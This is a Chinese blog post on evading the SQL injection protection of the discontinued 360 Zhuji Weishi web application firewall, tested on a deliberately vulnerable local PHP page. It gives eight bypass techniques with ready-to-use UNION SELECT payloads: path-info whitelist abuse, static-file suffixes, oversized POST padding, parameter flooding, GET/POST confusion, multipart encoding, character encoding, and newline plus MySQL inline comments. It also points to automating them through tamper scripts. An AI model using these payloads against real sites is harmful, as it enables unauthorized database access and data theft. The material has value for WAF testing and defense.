Bypass 360主机卫士SQL注入防御(多姿势)
0x00 前言
在服务器客户端领域,曾经出现过一款360主机卫士,目前已停止更新和维护,官网都打不开了,但服务器中依然经常可以看到它的身影。从半年前的测试虚拟机里面,翻出了360主机卫士Apache版的安装包,就当做是一个纪念版吧。这边主要分享一下几种思路,Bypass 360主机卫士SQL注入防御。
0x01 环境搭建
360主机卫士官网:http://zhuji.360.cn软件版本:360主机卫士Apache 纪念版测试环境:phpStudy
本地构造SQL注入点:
id=_REQUEST['id'];
query = "SELECT * FROM admin WHERE id = id ";
0x02 WAF测试
因zhuji.360.cn站点已关闭,拦截界面为空白,抓包先放一张拦截图:
姿势一:网站后台白名单
在360主机卫士客户端设置中存在默认网站后台白名单,如图:
利用PHP中的PATH_INFO问题,随便挑选一个白名单加在后面,可成功bypass。
/test.php/admin?id=1 union select 1,2,schema_name from information_schema.SCHEMATA
姿势二:静态资源
当文件后缀名为js、jpg、png等静态资源后缀请求,类似白名单机制,waf为了检测效率,直接略过这样一些静态资源文件名后缀的请求。
/test.php/1.png?id=1 union select 1,2,schema_name from information_schema.SCHEMATA
姿势三:缓冲区溢出
当Post大包时,WAF在处理测试向量时超出了其缓冲区长度,超过检测内容长度将会直接Bypass,如果正常用户上传一些比较大的文件,WAF每个都检测的话,性能就会被耗光。
基于这些考虑,POST 大包溢出的思路可成功Bypass。
/test.php
POST:
id=1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA) union select 1,2,schema_name from information_schema.SCHEMATA
姿势四:uri参数溢出
这种溢出的形式,我称它为uri参数溢出。比如某WAF,默认情况下只能获取前100个参数进行检测,当提交第101个参数时,那么,将无法对攻击者提交的第100个以后的参数进行有效安全检测,从而绕过安全防御。
经测试,当提交的参数个数超过97个,可进行union select 查询,再增加对关键字from的绕过,可成功Bypass。
http://192.168.204.128/test.php
POST:
id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&
id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&
id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&
id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&
id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&
id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&
id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&
id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&
id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&
id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1 union select 1,2,schema_name %0a/!from/information_schema.SCHEMATA
姿势五:GET+POST一个历史久远的逻辑问题了,当同时提交GET、POST请求时,进入POST逻辑,而忽略了GET请求的有害参数输入,可轻易Bypass。
/test.php?id=1 union select 1,2,schema_name from information_schema.SCHEMATA
POST:aaa
姿势六:multipart/form-data格式
将Post、Get数据包转为上传multipart/form-data格式数据包,利用协议解析的差异,从而绕过SQL防御。
------WebKitFormBoundaryACZoaLJJzUwc4hYM
Content-Disposition: form-data; name="id"
1 union /* !select*/ 1,2,schema_name【这里使用Enter换行】
from information_schema.SCHEMATA
------WebKitFormBoundaryACZoaLJJzUwc4hYM--
如果转换数据包进行绕过呢?
首先,新建一个html页面:
<html>
<head></head>
<body>
<form action="http://192.168.204.128/test.php" method="post" enctype="multipart/form-data">
<input type="text" name="id">
<input type="submit">
</form>
</body>
</html>
然后,在浏览器打开并在输入框中输入参数,抓包发送到Repeater,进一步构造Payload获取数据。
姿势七:编码绕过
客户端对Payload进行编码,服务端能够自动进行解码,这时候就考验WAF的编码解码能力了,如果WAF不能进行有效解码还原攻击向量,可能导致绕过,常见编码如URL编码、unicode编码(IIS)、宽字节编码等。这个地方虽然URL编码也能绕过获取数据,主要是因为WAF对POST的防御规则太过于松散,union select 随便绕,select from 用%0a就可以解决,主要分享一下编码绕过的思路。
/test.php?id=1
POST:id=1 %55nion %53elect/* !1,2,schema_name %0aFROM information_schema.SCHEMATA* /
姿势八:%0a+内联注释
利用Mysql数据库的一些特性,绕过WAF的防御规则,最终在数据库中成功执行了SQL,获取数据。
http://192.168.204.128/test.php
POST:
id=1 union%0a/* !12345select* / 1,2,schema_name%0a/* !12345from */information_schema.SCHEMATA
0x03 自动化Bypass
当测试出绕过WAF SQL注入防御的技巧后,可通过编写tamper脚本实现自动化注入,以姿势八:%0a+内联注释为例,主要是针对union select from等关键字替换,Payload中的部分关键字可能会被waf拦截,需要一步步调试,测试,总结规律。
tamper脚本:
加载tamper脚本,可成功获取数据
这边也分享一下,另一个比较简单的自动化注入的方法,就是使用超级SQL注入工具,利用这边提供的注入绕过模块,结合日志中心的测试记录,可以很方便的进行调试,然后保存绕过模板,方便下次调用。
利用前面的关键字符进行替换,自动化注入获取数据库数据:
0x04 END
分享了几种有意思的绕过思路,主要利用了WAF层的逻辑问题,数据库层的一些特性,服务器层编码解析、参数获取的差异。其中借鉴和学习了不少前辈们的思路,受益匪浅,学习,沉淀,总结,分享,周而复始。
关于我:一个网络安全爱好者,致力于分享原创高质量干货,欢迎关注我的个人微信公众号:Bypass--,浏览更多精彩文章。
喜欢这篇文章的人也喜欢 · · · · · ·
▶ 【WAF绕过】Bypass D盾_防火墙(新版)SQL注入防御
▶ 【代码审计】SQL二次编码注入漏洞实例(附tamper脚本)
▶ 【代码审计】MIPCMS 远程写入配置文件Getshell
▶ 【代码审计】CLTPHP_v5.5.3前台XML外部实体注入漏洞
Bypass
About Me
一个网络安全爱好者,对技术有着偏执狂一样的追求。致力于分享原创高质量干货,包括但不限于:渗透测试、WAF绕过、代码审计、安全运维。
- PHP在Apache下500错误
- mysql 学习笔记
- MongoDB学习系列(2)--使用PHP访问MongoDB
- (cljs/run-at (JSVM. :browser) "命名空间就这么简单")
- Angular企业级开发(10)-Smart Table插件开发
- 安装Ubuntu时分区选择
- linux系统下安装两个或多个tomcat
- JS魔法堂:不完全国际化&本地化手册 之 实战篇
- scala + intellij idea 环境搭建及编译、打包
- Angular企业级开发(2)-搭建Angular开发环境
- JS魔法堂:不完全国际化&本地化手册 之 拓展篇
- 使用jQuery的animate方法制作滑动菜单
- jenkins 入门教程(下)
- CSS3制作心形头像
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- linux centos系统开机启动流程
- mysql的备份及恢复
- linux之iptables 基础详解
- linux 实现lvs-dr在不同网段的负载均衡调度
- docker实现Mongodb复制集
- Centos7搭建LAMP+Typecho个人博客
- [Centos7]搭建postfix邮件服务器
- [Docker]手动配置docker网络
- [Centos7]使用GPG加密和解密文件
- [Centos7]设置禁ping
- [Centos7]open读取文件报错:TypeError
- [Centos7]对硬盘进行分区及自动挂载
- [Centos7]extundelete恢复误删除数据
- [Centos7]自定义开机自启脚本
- [Centos7]安装scapy模块